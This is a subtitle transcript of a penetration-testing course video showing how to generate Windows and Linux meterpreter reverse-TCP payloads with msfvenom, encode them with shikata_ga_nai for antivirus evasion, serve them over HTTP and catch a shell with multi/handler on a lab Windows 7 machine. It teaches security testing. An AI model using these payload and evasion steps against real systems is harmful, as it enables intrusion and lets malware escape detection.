WEBVTT

00:00:00.000 --> 00:00:04.365 align:middle line:90%


00:00:04.365 --> 00:00:07.760 align:middle line:90%
[MUSIC PLAYING]

00:00:07.760 --> 00:00:09.896 align:middle line:90%


00:00:09.896 --> 00:00:12.510 align:middle line:90%
Encoding payloads with Msfvenom.

00:00:12.510 --> 00:00:14.580 align:middle line:84%
In the previous video,
we explored the process

00:00:14.580 --> 00:00:19.170 align:middle line:84%
of generating both Windows and
Linux payloads with Msfvenom.

00:00:19.170 --> 00:00:21.810 align:middle line:84%
And we also took a look at how
to set up the multi handler

00:00:21.810 --> 00:00:25.482 align:middle line:84%
to receive the connections
from our target system.

00:00:25.482 --> 00:00:27.690 align:middle line:84%
In this video, we're going
to be taking a look at how

00:00:27.690 --> 00:00:31.140 align:middle line:84%
to encode both Linux
and Windows payloads

00:00:31.140 --> 00:00:34.200 align:middle line:84%
with the objective of avoiding
signature-based antivirus

00:00:34.200 --> 00:00:35.350 align:middle line:90%
solutions.

00:00:35.350 --> 00:00:39.270 align:middle line:84%
So first and foremost, let's
get a bit of an understanding

00:00:39.270 --> 00:00:43.020 align:middle line:84%
as to the limitations of this
particular attack vector,

00:00:43.020 --> 00:00:45.060 align:middle line:84%
and the attack vector
I'm referring to

00:00:45.060 --> 00:00:47.640 align:middle line:84%
specifically is
client side attacks.

00:00:47.640 --> 00:00:51.750 align:middle line:84%
Now given that client side
attacks involves the transfer

00:00:51.750 --> 00:00:55.290 align:middle line:84%
and storage of malicious
payloads on a client system,

00:00:55.290 --> 00:00:58.440 align:middle line:84%
attackers need to be cognizant
of antivirus detection.

00:00:58.440 --> 00:01:00.690 align:middle line:84%
So when we're
targeting a service

00:01:00.690 --> 00:01:04.200 align:middle line:84%
on a server for example,
and we exploit a service,

00:01:04.200 --> 00:01:06.510 align:middle line:84%
the payload is being
executed in memory,

00:01:06.510 --> 00:01:09.750 align:middle line:84%
and it never actually touches
the disk of the target system.

00:01:09.750 --> 00:01:12.900 align:middle line:84%
Now antivirus solutions
like Windows Defender

00:01:12.900 --> 00:01:16.170 align:middle line:84%
and Malwarebytes or any
other third-party antivirus

00:01:16.170 --> 00:01:19.080 align:middle line:84%
solutions that have been
designed for end-user operating

00:01:19.080 --> 00:01:23.190 align:middle line:84%
systems typically utilize
signature-based detection

00:01:23.190 --> 00:01:26.820 align:middle line:84%
in order to identify malicious
files or executables.

00:01:26.820 --> 00:01:29.640 align:middle line:84%
So what is
signature-based detection?

00:01:29.640 --> 00:01:32.100 align:middle line:84%
Signature-based
detection essentially

00:01:32.100 --> 00:01:35.790 align:middle line:84%
involves taking a look at
the signature of a file.

00:01:35.790 --> 00:01:38.460 align:middle line:84%
Now, this is very
similar to file hashing,

00:01:38.460 --> 00:01:42.090 align:middle line:84%
whereby each file
has a unique hash,

00:01:42.090 --> 00:01:45.400 align:middle line:84%
and that hash is a unique
identifier for each file.

00:01:45.400 --> 00:01:50.730 align:middle line:84%
So in the case of a
signature, antivirus companies

00:01:50.730 --> 00:01:53.940 align:middle line:84%
will typically generate
signatures for malicious files

00:01:53.940 --> 00:01:57.730 align:middle line:84%
and/or payloads and
executables as well.

00:01:57.730 --> 00:01:59.400 align:middle line:84%
And all of these
signatures are then

00:01:59.400 --> 00:02:02.730 align:middle line:84%
stored in the signature
database for each

00:02:02.730 --> 00:02:04.410 align:middle line:90%
of these antivirus companies.

00:02:04.410 --> 00:02:07.710 align:middle line:84%
So the entire process
here is that when

00:02:07.710 --> 00:02:11.790 align:middle line:84%
you get a client or a
target to download a payload

00:02:11.790 --> 00:02:15.330 align:middle line:84%
and save it on their computer
and consequently execute it,

00:02:15.330 --> 00:02:17.370 align:middle line:84%
the antivirus
solution will check

00:02:17.370 --> 00:02:20.880 align:middle line:84%
the signature of the payload
that has just been downloaded,

00:02:20.880 --> 00:02:23.040 align:middle line:84%
and it will then
compare that signature

00:02:23.040 --> 00:02:24.810 align:middle line:84%
with the signatures
that are contained

00:02:24.810 --> 00:02:27.150 align:middle line:84%
within the antivirus
signature database.

00:02:27.150 --> 00:02:29.100 align:middle line:84%
And if there is a
match, then that file

00:02:29.100 --> 00:02:33.030 align:middle line:84%
is flagged as malicious and
is then quarantined or removed

00:02:33.030 --> 00:02:33.910 align:middle line:90%
from the system.

00:02:33.910 --> 00:02:37.320 align:middle line:84%
So in order to evade a
signature-based detection,

00:02:37.320 --> 00:02:38.820 align:middle line:90%
we can utilize encoding.

00:02:38.820 --> 00:02:41.440 align:middle line:84%
However, as I
mentioned previously,

00:02:41.440 --> 00:02:44.190 align:middle line:84%
this particular attack
vector is really not

00:02:44.190 --> 00:02:47.430 align:middle line:84%
used anymore primarily because
antivirus solutions have

00:02:47.430 --> 00:02:51.120 align:middle line:84%
a huge signature database,
and modifying or changing

00:02:51.120 --> 00:02:54.060 align:middle line:84%
the signature can only help
you to a certain extent.

00:02:54.060 --> 00:02:56.160 align:middle line:84%
But this technique
will probably work

00:02:56.160 --> 00:02:59.160 align:middle line:84%
on some of the older
rudimentary antivirus solutions

00:02:59.160 --> 00:03:02.010 align:middle line:84%
out there like Windows
Defender on Windows 7

00:03:02.010 --> 00:03:05.470 align:middle line:84%
or previous versions of
Windows, and in some cases,

00:03:05.470 --> 00:03:07.260 align:middle line:84%
it may work on some
new antiviruses.

00:03:07.260 --> 00:03:09.900 align:middle line:84%
But again, this is
typically not the method

00:03:09.900 --> 00:03:13.200 align:middle line:84%
that is utilized in regards
to client side attacks.

00:03:13.200 --> 00:03:15.750 align:middle line:84%
And again, the reason
why we are covering it

00:03:15.750 --> 00:03:18.690 align:middle line:84%
is because it's rather
or quite important

00:03:18.690 --> 00:03:20.590 align:middle line:84%
when it comes down to
penetration testing,

00:03:20.590 --> 00:03:22.890 align:middle line:84%
you should be able to
generate and encode payloads

00:03:22.890 --> 00:03:23.740 align:middle line:90%
if required.

00:03:23.740 --> 00:03:27.250 align:middle line:84%
So again, I've mentioned
encoding briefly.

00:03:27.250 --> 00:03:29.400 align:middle line:84%
So if you're not familiar
with what encoding is,

00:03:29.400 --> 00:03:33.780 align:middle line:84%
it's essentially the process of
modifying the payload shellcode

00:03:33.780 --> 00:03:36.810 align:middle line:84%
with the objective of modifying
the payload signature.

00:03:36.810 --> 00:03:40.560 align:middle line:84%
So again, if you modify
a file, the signature

00:03:40.560 --> 00:03:42.180 align:middle line:90%
changes almost immediately.

00:03:42.180 --> 00:03:45.300 align:middle line:84%
Just modifying one byte of a
file changes the signature.

00:03:45.300 --> 00:03:48.180 align:middle line:84%
So encoding can be
used to modify the file

00:03:48.180 --> 00:03:51.480 align:middle line:84%
and move around the various
bytes within the file

00:03:51.480 --> 00:03:54.000 align:middle line:84%
to essentially avoid
signature-based detection,

00:03:54.000 --> 00:03:57.880 align:middle line:84%
but as I said, this
has its limitations.

00:03:57.880 --> 00:04:01.140 align:middle line:84%
So in the context
of encoding payloads

00:04:01.140 --> 00:04:04.140 align:middle line:84%
and how this can be done,
what we're essentially doing

00:04:04.140 --> 00:04:07.830 align:middle line:84%
is utilizing the built-in
Msfvenom encoders

00:04:07.830 --> 00:04:10.950 align:middle line:84%
to encode our payloads,
both Windows and Linux,

00:04:10.950 --> 00:04:14.760 align:middle line:84%
with the objective of trying to
evade signature-based antivirus

00:04:14.760 --> 00:04:15.730 align:middle line:90%
detection.

00:04:15.730 --> 00:04:17.910 align:middle line:84%
So I briefly mentioned
shellcode here,

00:04:17.910 --> 00:04:20.040 align:middle line:84%
and the reason why I haven't
gone through shellcode

00:04:20.040 --> 00:04:22.350 align:middle line:84%
before is primarily
because I wanted

00:04:22.350 --> 00:04:23.920 align:middle line:90%
to explain it in this context.

00:04:23.920 --> 00:04:25.328 align:middle line:90%
So what is shellcode?

00:04:25.328 --> 00:04:27.120 align:middle line:84%
Whenever I talk about
shellcode, you really

00:04:27.120 --> 00:04:28.410 align:middle line:90%
don't have to get confused.

00:04:28.410 --> 00:04:30.480 align:middle line:84%
Shellcode is
essentially the payload,

00:04:30.480 --> 00:04:32.650 align:middle line:84%
or it's the code
within the payload.

00:04:32.650 --> 00:04:37.740 align:middle line:84%
So if we're utilizing
a meterpreter payload,

00:04:37.740 --> 00:04:40.560 align:middle line:84%
the meterpreter
payload contains code,

00:04:40.560 --> 00:04:42.270 align:middle line:84%
and that code is
called shellcode,

00:04:42.270 --> 00:04:43.500 align:middle line:90%
so that's essentially it.

00:04:43.500 --> 00:04:45.780 align:middle line:90%
That's what shellcode means.

00:04:45.780 --> 00:04:48.510 align:middle line:84%
It gets its name from
the term command shell,

00:04:48.510 --> 00:04:51.120 align:middle line:84%
whereby shellcode is
a piece of code that

00:04:51.120 --> 00:04:53.040 align:middle line:84%
provides an attacker
with a remote command

00:04:53.040 --> 00:04:54.370 align:middle line:90%
shell on a target system.

00:04:54.370 --> 00:04:56.130 align:middle line:84%
So whenever I
reference shellcode,

00:04:56.130 --> 00:04:59.100 align:middle line:84%
just know that I'm referencing
the payload itself,

00:04:59.100 --> 00:05:00.630 align:middle line:84%
but more specifically,
I'm actually

00:05:00.630 --> 00:05:01.600 align:middle line:90%
talking about the code.

00:05:01.600 --> 00:05:04.980 align:middle line:84%
So we can utilize encoders
to modify the shellcode,

00:05:04.980 --> 00:05:08.220 align:middle line:84%
consequently changing the
signature, which in some cases,

00:05:08.220 --> 00:05:11.640 align:middle line:84%
can actually avoid some older
antivirus solutions with older

00:05:11.640 --> 00:05:13.030 align:middle line:90%
signature databases.

00:05:13.030 --> 00:05:15.060 align:middle line:84%
So now that we have an
understanding of that,

00:05:15.060 --> 00:05:18.090 align:middle line:84%
I'm going to switch back over
to my Kali Linux Msfvenom.

00:05:18.090 --> 00:05:21.090 align:middle line:84%
And we can take a look at how
to encode both Linux and Windows

00:05:21.090 --> 00:05:23.900 align:middle line:90%
payloads.

00:05:23.900 --> 00:05:26.370 align:middle line:84%
All right, I am
back on Kali Linux.

00:05:26.370 --> 00:05:29.540 align:middle line:84%
And again, we can
utilize Msfvenom

00:05:29.540 --> 00:05:33.620 align:middle line:84%
to encode the payloads, or
we can generate new payloads

00:05:33.620 --> 00:05:35.150 align:middle line:90%
and encode them on the fly.

00:05:35.150 --> 00:05:39.650 align:middle line:84%
So what we'll do here is if
I just list out Msfvenom,

00:05:39.650 --> 00:05:42.470 align:middle line:84%
and I say list
out encoders, this

00:05:42.470 --> 00:05:45.770 align:middle line:84%
will list out the group of
encoders that we can utilize.

00:05:45.770 --> 00:05:49.610 align:middle line:84%
And encoders are going to be
based on the target operating

00:05:49.610 --> 00:05:52.700 align:middle line:84%
system as well as the
target architecture.

00:05:52.700 --> 00:05:57.140 align:middle line:84%
Now in our case, the best
option in regards to an encoder

00:05:57.140 --> 00:05:59.840 align:middle line:84%
is going to be the
shikata_ga_nai encoder.

00:05:59.840 --> 00:06:03.230 align:middle line:84%
As you can see, this is a
polymorphic XOR Additive

00:06:03.230 --> 00:06:04.430 align:middle line:90%
Feedback Encoder.

00:06:04.430 --> 00:06:07.880 align:middle line:84%
And you really don't need to
understand at this point what

00:06:07.880 --> 00:06:09.980 align:middle line:84%
that means, but all
you need to know

00:06:09.980 --> 00:06:12.350 align:middle line:90%
is that it's extremely useful.

00:06:12.350 --> 00:06:14.420 align:middle line:84%
Now, as you can see,
all the encoders

00:06:14.420 --> 00:06:17.390 align:middle line:84%
are sorted based on their name,
their rank, and description.

00:06:17.390 --> 00:06:19.700 align:middle line:84%
And currently, the
only two encoders

00:06:19.700 --> 00:06:23.540 align:middle line:84%
that have an excellent rank are
the PowerShell Base64 encoder,

00:06:23.540 --> 00:06:25.640 align:middle line:84%
which is very
useful for encoding

00:06:25.640 --> 00:06:29.300 align:middle line:84%
PowerShell code in Base64,
and the shikata_ga_nai

00:06:29.300 --> 00:06:30.090 align:middle line:90%
encoder here.

00:06:30.090 --> 00:06:32.750 align:middle line:84%
So we can utilize the
shikata_ga_nai code

00:06:32.750 --> 00:06:35.400 align:middle line:84%
to encode both Linux
and Windows payloads.

00:06:35.400 --> 00:06:37.640 align:middle line:84%
So let's start off
with Windows payload.

00:06:37.640 --> 00:06:41.330 align:middle line:84%
And of course, we're going to
be generating a x86 payload

00:06:41.330 --> 00:06:46.010 align:middle line:84%
as it will work on both 64-bit
and 32-bit operating systems.

00:06:46.010 --> 00:06:50.720 align:middle line:84%
So to generate a
Windows x86 payload

00:06:50.720 --> 00:06:53.390 align:middle line:84%
and then essentially encode
it with shikata_ga_nai,

00:06:53.390 --> 00:06:55.160 align:middle line:90%
we can say msfvenom.

00:06:55.160 --> 00:06:57.420 align:middle line:84%
You can specify the
architecture if you want.

00:06:57.420 --> 00:06:58.837 align:middle line:84%
But in this case,
we're just going

00:06:58.837 --> 00:07:00.860 align:middle line:84%
to say
windows/meterpreter, which

00:07:00.860 --> 00:07:03.350 align:middle line:84%
implies a 32-bit
version of meterpreter

00:07:03.350 --> 00:07:06.060 align:middle line:84%
because we've not
specified 64 there.

00:07:06.060 --> 00:07:09.780 align:middle line:84%
So we're going to say
reverse_tcp or reverse_http

00:07:09.780 --> 00:07:10.710 align:middle line:90%
if we want.

00:07:10.710 --> 00:07:13.250 align:middle line:84%
But in this case, let's
just use reverse_tcp.

00:07:13.250 --> 00:07:15.660 align:middle line:84%
We then need to set
up the LHOST option,

00:07:15.660 --> 00:07:18.800 align:middle line:84%
which is the attacker IP
address or your Kali Linux IP,

00:07:18.800 --> 00:07:24.360 align:middle line:84%
so I'm going to set that
to 10.10.10.5 in my case.

00:07:24.360 --> 00:07:27.320 align:middle line:84%
The LPORT option we
will set to 1234.

00:07:27.320 --> 00:07:30.050 align:middle line:84%
And then we can now
specify our encoder.

00:07:30.050 --> 00:07:32.750 align:middle line:84%
So to specify the
encode option we say e,

00:07:32.750 --> 00:07:35.610 align:middle line:84%
and then we provide
the encoder name.

00:07:35.610 --> 00:07:38.630 align:middle line:84%
So we're going to say x86,
and this encoder will only

00:07:38.630 --> 00:07:41.010 align:middle line:90%
work for 32-bit payloads.

00:07:41.010 --> 00:07:44.690 align:middle line:84%
So we're going to
say shikata_ga_nai,

00:07:44.690 --> 00:07:46.370 align:middle line:84%
and that's the
entire name there.

00:07:46.370 --> 00:07:49.070 align:middle line:84%
And then we can specify
the format, which is exe.

00:07:49.070 --> 00:07:52.010 align:middle line:84%
And I'll put that
onto our desktop,

00:07:52.010 --> 00:07:54.110 align:middle line:84%
and I'll say this is
under Windows_Payloads,

00:07:54.110 --> 00:07:59.870 align:middle line:84%
and I'll just say this
is encoded x86.exe.

00:07:59.870 --> 00:08:03.680 align:middle line:84%
So we'll be able to tell that
that is the encoded payload.

00:08:03.680 --> 00:08:06.455 align:middle line:84%
So we'll hit Enter and
give that a few seconds.

00:08:06.455 --> 00:08:15.400 align:middle line:90%


00:08:15.400 --> 00:08:17.730 align:middle line:84%
All right, as you can see,
that completes encoding.

00:08:17.730 --> 00:08:19.710 align:middle line:84%
And you'll see some
interesting output

00:08:19.710 --> 00:08:22.770 align:middle line:84%
here in addition to the
previous output that we got.

00:08:22.770 --> 00:08:25.410 align:middle line:84%
Whenever we essentially
generated a payload

00:08:25.410 --> 00:08:27.600 align:middle line:84%
without an encoder,
it will tell you

00:08:27.600 --> 00:08:30.420 align:middle line:84%
right over here attempting
to encode the payload with 1

00:08:30.420 --> 00:08:32.340 align:middle line:90%
iteration of shikata_ga_nai.

00:08:32.340 --> 00:08:36.390 align:middle line:84%
So pay attention to the number
1 iteration or this element

00:08:36.390 --> 00:08:39.030 align:middle line:84%
here because that's going
to be quite important as we

00:08:39.030 --> 00:08:39.610 align:middle line:90%
move along.

00:08:39.610 --> 00:08:42.390 align:middle line:84%
So it's essentially going
to encode the payload once

00:08:42.390 --> 00:08:43.679 align:middle line:90%
with shikata_ga_nai.

00:08:43.679 --> 00:08:46.680 align:middle line:84%
And we get the actual
output exe file.

00:08:46.680 --> 00:08:48.630 align:middle line:84%
So if we head over
into Windows payloads,

00:08:48.630 --> 00:08:53.430 align:middle line:84%
you can see we get the
encoded x86.exe payload there.

00:08:53.430 --> 00:08:56.190 align:middle line:84%
So if you've paid
close attention

00:08:56.190 --> 00:08:59.610 align:middle line:84%
to the iterations
output here, we

00:08:59.610 --> 00:09:03.480 align:middle line:84%
can pretty much encode
our payload as many times

00:09:03.480 --> 00:09:05.220 align:middle line:90%
as we want with shikata_ga_nai.

00:09:05.220 --> 00:09:08.910 align:middle line:84%
So increasing the number
of iterations in regards

00:09:08.910 --> 00:09:12.330 align:middle line:84%
to the encoder that
we're utilizing

00:09:12.330 --> 00:09:15.510 align:middle line:84%
will increase your chances
of evading antiviruses.

00:09:15.510 --> 00:09:19.230 align:middle line:84%
So the more you encode
it, or the more iterations

00:09:19.230 --> 00:09:21.570 align:middle line:84%
you actually go through
with encoding your payload

00:09:21.570 --> 00:09:23.940 align:middle line:84%
with shikata_ga_nai,
the better chances

00:09:23.940 --> 00:09:26.880 align:middle line:84%
you have of actually
bypassing an antivirus.

00:09:26.880 --> 00:09:29.370 align:middle line:84%
So we can specify
the iterations.

00:09:29.370 --> 00:09:30.840 align:middle line:90%
Let me just clear this out.

00:09:30.840 --> 00:09:34.680 align:middle line:84%
And what I'll do is I'll
remove the encoded payload here

00:09:34.680 --> 00:09:36.720 align:middle line:84%
because we're going
to generate a new one.

00:09:36.720 --> 00:09:40.050 align:middle line:84%
And we're going to specify
the iterations here

00:09:40.050 --> 00:09:43.020 align:middle line:84%
as probably we can say
the number of iterations

00:09:43.020 --> 00:09:47.430 align:middle line:84%
we can specify here maybe
we can increase that

00:09:47.430 --> 00:09:50.170 align:middle line:90%
to something like probably 10.

00:09:50.170 --> 00:09:53.470 align:middle line:84%
So we can specify
that after LPORT here.

00:09:53.470 --> 00:09:57.870 align:middle line:84%
So we're going to say hyphen
i, and we then say 10.

00:09:57.870 --> 00:09:59.520 align:middle line:84%
So I would typically
recommend 10

00:09:59.520 --> 00:10:01.920 align:middle line:84%
because anything after
10 will really not

00:10:01.920 --> 00:10:05.520 align:middle line:84%
improve much or will
really not help in

00:10:05.520 --> 00:10:07.470 align:middle line:90%
regards to evading an antivirus.

00:10:07.470 --> 00:10:10.620 align:middle line:84%
So we're going to specify
the iterations to 10,

00:10:10.620 --> 00:10:12.510 align:middle line:90%
and we can then just hit Enter.

00:10:12.510 --> 00:10:15.150 align:middle line:84%
And you should also pay
close attention to the output

00:10:15.150 --> 00:10:17.700 align:middle line:84%
now because it'll actually
tell you or show you

00:10:17.700 --> 00:10:20.050 align:middle line:90%
the actual iterations here.

00:10:20.050 --> 00:10:23.728 align:middle line:84%
So again, give
that a few seconds.

00:10:23.728 --> 00:10:24.270 align:middle line:90%
There we are.

00:10:24.270 --> 00:10:27.120 align:middle line:84%
As you can see, attempting
to encode the payload with 10

00:10:27.120 --> 00:10:29.130 align:middle line:90%
iterations of shikata_ga_nai.

00:10:29.130 --> 00:10:31.470 align:middle line:84%
And it goes through
each iteration here.

00:10:31.470 --> 00:10:34.140 align:middle line:84%
And it shows you
how the actual size

00:10:34.140 --> 00:10:36.810 align:middle line:84%
increases or rather
reduces and increases

00:10:36.810 --> 00:10:38.650 align:middle line:90%
based on each iteration.

00:10:38.650 --> 00:10:41.400 align:middle line:84%
So you can see at the end,
the final payload size

00:10:41.400 --> 00:10:45.270 align:middle line:84%
is 624 bytes, and the
final size of the exe file

00:10:45.270 --> 00:10:48.010 align:middle line:90%
is 73,802 bytes.

00:10:48.010 --> 00:10:52.170 align:middle line:84%
So there we have the actual
encoded payload here.

00:10:52.170 --> 00:10:54.690 align:middle line:84%
That's encoded x86 here,
and we've encoded it

00:10:54.690 --> 00:10:57.210 align:middle line:90%
with shikata_ga_nai 10 times.

00:10:57.210 --> 00:11:00.450 align:middle line:84%
So that's how to essentially
encode Windows payloads.

00:11:00.450 --> 00:11:03.310 align:middle line:84%
And we can now move
on to Linux payloads.

00:11:03.310 --> 00:11:05.650 align:middle line:84%
So again, the process
is fairly simple.

00:11:05.650 --> 00:11:09.000 align:middle line:84%
We say msfvenom, and then
we specify the payload here.

00:11:09.000 --> 00:11:11.067 align:middle line:84%
We can then say
linux/x86/meterpreter/reverse

00:11:11.067 --> 00:11:12.504 align:middle line:90%
tcp.

00:11:12.504 --> 00:11:17.150 align:middle line:90%


00:11:17.150 --> 00:11:22.220 align:middle line:90%
LHOST is equal to 10.10.10.5.

00:11:22.220 --> 00:11:25.170 align:middle line:84%
And we then specify
the LPORT here,

00:11:25.170 --> 00:11:27.140 align:middle line:84%
which is going to
be equal to 1234.

00:11:27.140 --> 00:11:29.282 align:middle line:84%
We can then specify
the iterations to 10

00:11:29.282 --> 00:11:30.740 align:middle line:84%
because we're going
to be utilizing

00:11:30.740 --> 00:11:32.270 align:middle line:90%
the shikata_ga_nai encoder.

00:11:32.270 --> 00:11:37.931 align:middle line:84%
So we say encoder
x86/shikata_ga_nai,

00:11:37.931 --> 00:11:39.500 align:middle line:90%
underscore ga_nai.

00:11:39.500 --> 00:11:40.070 align:middle line:90%
There we are.

00:11:40.070 --> 00:11:43.160 align:middle line:84%
And we then specify
the format as an elf

00:11:43.160 --> 00:11:44.750 align:middle line:90%
file because this is Linux.

00:11:44.750 --> 00:11:47.390 align:middle line:84%
And then we can output
that onto our desktop

00:11:47.390 --> 00:11:50.810 align:middle line:84%
under Linux_Payloads,
and we will essentially

00:11:50.810 --> 00:11:52.130 align:middle line:90%
call this encodedx86.

00:11:52.130 --> 00:11:55.120 align:middle line:90%


00:11:55.120 --> 00:11:58.510 align:middle line:84%
And just hit Enter, so that is
going to generate the payload

00:11:58.510 --> 00:12:00.730 align:middle line:84%
and encoded 10 times
in shikata_ga_nai.

00:12:00.730 --> 00:12:05.560 align:middle line:84%
And I'll put it into a file
or a binary called encodedx86.

00:12:05.560 --> 00:12:07.510 align:middle line:84%
So again, give
that a few seconds.

00:12:07.510 --> 00:12:10.060 align:middle line:84%
There we are, found
one compatible encoder.

00:12:10.060 --> 00:12:12.550 align:middle line:84%
It's going to go through
the various iterations,

00:12:12.550 --> 00:12:16.790 align:middle line:84%
and the final size of
the file is 477 bytes.

00:12:16.790 --> 00:12:19.900 align:middle line:84%
So if we take a look at
the Linux payload folder,

00:12:19.900 --> 00:12:22.030 align:middle line:90%
there we are Linux Payloads.

00:12:22.030 --> 00:12:26.110 align:middle line:84%
You can see that we have
the encodedx86 payload here

00:12:26.110 --> 00:12:29.330 align:middle line:84%
in addition to the other ones
that we created previously.

00:12:29.330 --> 00:12:31.240 align:middle line:84%
So now that we've
taken a look at how

00:12:31.240 --> 00:12:32.950 align:middle line:84%
to generate the
encoded payloads,

00:12:32.950 --> 00:12:34.610 align:middle line:90%
we can again test this out.

00:12:34.610 --> 00:12:37.900 align:middle line:84%
And I'm going to test out
the Windows payload or rather

00:12:37.900 --> 00:12:39.220 align:middle line:90%
the Windows encoded payload.

00:12:39.220 --> 00:12:41.950 align:middle line:84%
So I'll head over into the
Windows payload folder,

00:12:41.950 --> 00:12:44.590 align:middle line:84%
and I'm going to set up
a simple web server here

00:12:44.590 --> 00:12:48.910 align:middle line:84%
to host that particular payload
so that I can download it

00:12:48.910 --> 00:12:50.320 align:middle line:90%
onto the Windows 7 targets.

00:12:50.320 --> 00:12:53.290 align:middle line:90%
I'm going to say sudo python -m.

00:12:53.290 --> 00:12:57.170 align:middle line:84%
We're using the Python
module SimpleHTTPServer,

00:12:57.170 --> 00:13:00.460 align:middle line:84%
and we will host this on port
80, provide the password.

00:13:00.460 --> 00:13:01.090 align:middle line:90%
There we are.

00:13:01.090 --> 00:13:05.597 align:middle line:84%
And I'll now head over onto
my Windows workstation.

00:13:05.597 --> 00:13:07.180 align:middle line:84%
However, before I
do that, we actually

00:13:07.180 --> 00:13:10.520 align:middle line:84%
need to set up the listener
or the handler, if you will.

00:13:10.520 --> 00:13:13.090 align:middle line:84%
So I'm going to say
msfconsole in a new tab.

00:13:13.090 --> 00:13:23.770 align:middle line:90%


00:13:23.770 --> 00:13:24.360 align:middle line:90%
There we are.

00:13:24.360 --> 00:13:28.340 align:middle line:84%
And we can then say
use a multi/handler.

00:13:28.340 --> 00:13:30.020 align:middle line:84%
We then need to set
the payload that we

00:13:30.020 --> 00:13:32.245 align:middle line:84%
used when we were generating
our malicious payload.

00:13:32.245 --> 00:13:33.620 align:middle line:84%
So we're going to
say set payload

00:13:33.620 --> 00:13:36.410 align:middle line:84%
to
windows/meterpreter/reverse_tcp.

00:13:36.410 --> 00:13:39.170 align:middle line:90%


00:13:39.170 --> 00:13:42.620 align:middle line:84%
Set the LHOST
option to the IP we

00:13:42.620 --> 00:13:44.840 align:middle line:84%
set when we were
generating our payload.

00:13:44.840 --> 00:13:46.970 align:middle line:84%
And then set the
LPORT value as well

00:13:46.970 --> 00:13:48.720 align:middle line:90%
because that is very important.

00:13:48.720 --> 00:13:51.020 align:middle line:84%
We can then show the
options to confirm,

00:13:51.020 --> 00:13:53.028 align:middle line:90%
and then we just hit Run.

00:13:53.028 --> 00:13:53.570 align:middle line:90%
There we are.

00:13:53.570 --> 00:13:55.520 align:middle line:84%
It's going to start the
reverse TCP handler,

00:13:55.520 --> 00:13:58.760 align:middle line:84%
so I'm going to switch
over to my Windows system.

00:13:58.760 --> 00:14:01.470 align:middle line:84%
All right, I am back
on my Windows system.

00:14:01.470 --> 00:14:04.740 align:middle line:84%
And as you can see, we have
the encodedx86 payload here.

00:14:04.740 --> 00:14:06.418 align:middle line:90%
So I'm just going to save it.

00:14:06.418 --> 00:14:06.960 align:middle line:90%
There we are.

00:14:06.960 --> 00:14:08.918 align:middle line:84%
We're going to save it
in the Downloads folder.

00:14:08.918 --> 00:14:11.450 align:middle line:84%
So Downloads, and it's going
to be the same directory where

00:14:11.450 --> 00:14:13.910 align:middle line:90%
we saved payloadx86.

00:14:13.910 --> 00:14:17.820 align:middle line:84%
I'm going to hit Save, Close,
open up the Downloads folder.

00:14:17.820 --> 00:14:20.450 align:middle line:84%
And once we hit or click
on the encoded payload

00:14:20.450 --> 00:14:23.870 align:middle line:84%
here and hit Run, that
should give us a meterpreter

00:14:23.870 --> 00:14:25.640 align:middle line:84%
session on our
handler, so I'm going

00:14:25.640 --> 00:14:28.370 align:middle line:90%
to switch back to the Kali VM.

00:14:28.370 --> 00:14:28.970 align:middle line:90%
There you are.

00:14:28.970 --> 00:14:31.130 align:middle line:84%
As you can see, we get
a meterpreter session.

00:14:31.130 --> 00:14:34.100 align:middle line:84%
And again, we can confirm that
we are on the Windows system.

00:14:34.100 --> 00:14:35.810 align:middle line:90%
There we are, sysinfo.

00:14:35.810 --> 00:14:40.250 align:middle line:84%
We are on Windows 7 6.1
Build 7601, Service Pack 1.

00:14:40.250 --> 00:14:43.130 align:middle line:84%
And we now have access
to a client side attack.

00:14:43.130 --> 00:14:46.730 align:middle line:84%
So that is how to encode both
Linux and Windows payloads.

00:14:46.730 --> 00:14:49.790 align:middle line:84%
As I said, I wouldn't recommend
actually testing these payloads

00:14:49.790 --> 00:14:52.820 align:middle line:84%
or uploading them to VirusTotal
because the signatures

00:14:52.820 --> 00:14:55.940 align:middle line:84%
will be stored and submitted
to antivirus companies.

00:14:55.940 --> 00:14:57.890 align:middle line:84%
So the only way to
actually test this

00:14:57.890 --> 00:15:00.080 align:middle line:84%
is to, again, set
up a sandbox system

00:15:00.080 --> 00:15:02.780 align:middle line:84%
with an antivirus
disconnected from the internet

00:15:02.780 --> 00:15:04.427 align:middle line:84%
and then test out
the payloads to see

00:15:04.427 --> 00:15:05.510 align:middle line:90%
whether they are detected.

00:15:05.510 --> 00:15:07.610 align:middle line:84%
And of course, this
process will involve

00:15:07.610 --> 00:15:08.735 align:middle line:90%
a lot of trial and error.

00:15:08.735 --> 00:15:11.410 align:middle line:90%


00:15:11.410 --> 00:15:13.600 align:middle line:84%
So in the next video,
we'll be exploring

00:15:13.600 --> 00:15:15.640 align:middle line:84%
the process of
injecting a Windows

00:15:15.640 --> 00:15:18.250 align:middle line:84%
payload into a
portable executable

00:15:18.250 --> 00:15:20.810 align:middle line:90%
or a legitimate executable.

00:15:20.810 --> 00:15:24.490 align:middle line:84%
And that, again, will help
with signature-based antivirus

00:15:24.490 --> 00:15:26.930 align:middle line:84%
systems and in regards
to evading them,

00:15:26.930 --> 00:15:28.960 align:middle line:90%
so that'll be very interesting.

00:15:28.960 --> 00:15:31.735 align:middle line:84%
And so I'll see you
in the next video.

00:15:31.735 --> 00:15:32.235 align:middle line:90%